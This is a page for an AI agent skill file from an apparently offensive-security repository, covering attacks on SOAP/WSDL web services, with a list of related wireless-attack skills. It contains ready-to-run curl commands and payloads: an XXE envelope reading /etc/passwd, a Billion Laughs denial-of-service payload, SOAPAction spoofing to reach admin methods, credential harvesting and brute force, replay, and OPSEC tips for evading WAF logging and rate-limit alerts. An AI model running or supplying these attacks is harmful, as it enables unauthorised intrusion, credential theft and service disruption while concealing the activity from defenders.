api-soap-wsdl
SOAP / WSDL exploitation — WSDL enumeration via ?wsdl, XXE in SOAP envelope, WS-Addressing replay, WS-Security UsernameToken brute, SAML token injection in WS-Trust, schema validation bypass.
- License 许可
- Apache-2.0
- 最近更新
- 2026-11-09
- Stars
- ★ 0
- Forks
- 0
01 前言 Front Matter
- name
- api-soap-wsdl
- metadata
- { "tags": "soap, wsdl, xml, ws-security", "subdomain": "api", "when_to_use": "soap wsdl xml ws-security ws-addressing ws-trust saml asmx wcf .asmx .svc spring-ws", "mitre_attack": "T1190, T1203" }
- description
- SOAP / WSDL exploitation — WSDL enumeration via ?wsdl, XXE in SOAP envelope, WS-Addressing replay, WS-Security UsernameToken brute, SAML token injection in WS-Trust, schema validation bypass.
- allowed-tools
- Bash Read Write
03 SKILL.md 正文
SOAP / WSDL Attack Surface
Legacy enterprise integrations still ship SOAP — payment processors, ERP middleware, government APIs, Java EE bus systems.
Discovery
# WSDL endpoints — try ?wsdl on any .asmx (.NET) / .svc (WCF) / Spring-WS endpoint
curl -sk "https://target/Service.asmx?wsdl" | xmllint --format -
curl -sk "https://target/Service.svc?wsdl" | xmllint --format -
# Generate a client from the WSDL
python -m zeep https://target/Service.asmx?wsdl
# OR
wsdl2java -uri https://target/Service.asmx?wsdl
Quick attack catalog
XXE in SOAP envelope
curl -sk -X POST -H "Content-Type: text/xml" -H 'SOAPAction: ""' \
-d '<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><tns:Method><tns:arg>&x;</tns:arg></tns:Method></soap:Body>
</soap:Envelope>' https://target/Service.asmx
WS-Security UsernameToken brute / clear-text leak
The <wsse:UsernameToken> often carries <wsse:Password> in clear text. If the channel is HTTP (not HTTPS) or the proxy logs payload, harvest creds:
# WSPolicy may demand: Type="...#PasswordText"
curl -sk -X POST -d @ws-attack.xml https://target/svc
# Brute: cycle a username dict, observe response time/error class
WS-Addressing replay
SOAP responses often include <wsa:RelatesTo> referencing the request <wsa:MessageID>. Some servers don't validate freshness:
<wsa:MessageID>uuid:CAPTURED_FROM_LEGITIMATE_REQUEST</wsa:MessageID>
SAML in WS-Trust / SAML EncryptedAssertion
WS-Trust 1.3 RST/RSTR flows accept SAML tokens. Re-sign the assertion with the IdP's leaked cert OR exploit XML Signature Wrapping (XSW) — see the SAML skill for full XSW patterns.
Schema validation bypass
Many servers parse the SOAP envelope before validating against the XSD. Inject XML that's malformed-for-schema but valid-for-parser:
<soap:Body>
<tns:Method>
<tns:adminFlag>true</tns:adminFlag> <!-- not in XSD, often honored -->
<tns:arg>value</tns:arg>
</tns:Method>
</soap:Body>
XML Bomb / Billion Laughs DoS
<!DOCTYPE x [<!ENTITY a "12345678"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">]>
<x>&c;&c;&c;</x>
SOAPAction routing confusion
.NET ASMX picks the method by SOAPAction header, not body. Mismatch → call methods you shouldn't be able to:
curl -X POST -H 'SOAPAction: "http://target/AdminMethod"' \
-d '<soap:Envelope>...PublicMethod body...</soap:Envelope>' \
https://target/Service.asmx
Tooling
# SoapUI free / Postman SOAP — interactive probing
soapui --gui # or non-GUI: testrunner.sh
# Burp Suite extensions: Wsdler, SAML Raider, XML Signature Wrapping
# python zeep — programmatic SOAP client (good for automation)
python3 -c "from zeep import Client; c = Client('https://target/Service.asmx?wsdl'); print(c.service.Method('arg'))"
OPSEC
- WS-Addressing
<wsa:MessageID>is logged in many WAFs — randomize per-request. - WS-Security headers reveal client identity; spoof realistic clientIDs from previously-captured requests.
- SOAP fault messages leak stack traces — note them, but limit to one trigger per scan to avoid rate-limit alerts.
References
- WS-Attacks.org — XSW, XXE, WS-Security variants catalog
- OWASP "Testing for Web Services" — chapter on SOAP/WSDL
- "Hacking SOAP" — Pauldotcom episode (older but still 100% applicable)
- Burp extension: SAML Raider
04 同仓库更多 Skills
wps-pixie-dust
WPS Pixie-Dust offline nonce attack (reaver -K / pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.
wpa3-sae
WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.
wpa2-psk
WPA/WPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer/SMB encryption mode in 2026.
wpa-enterprise-eap
WPA/WPA2/WPA3-Enterprise (802.1X/EAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.
krack-fragattacks
KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation/aggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.
evil-twin-karma
Evil-twin rogue AP with KARMA/Mana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK/open networks. Distinct from wpa-enterprise-eap which targets 802.1X.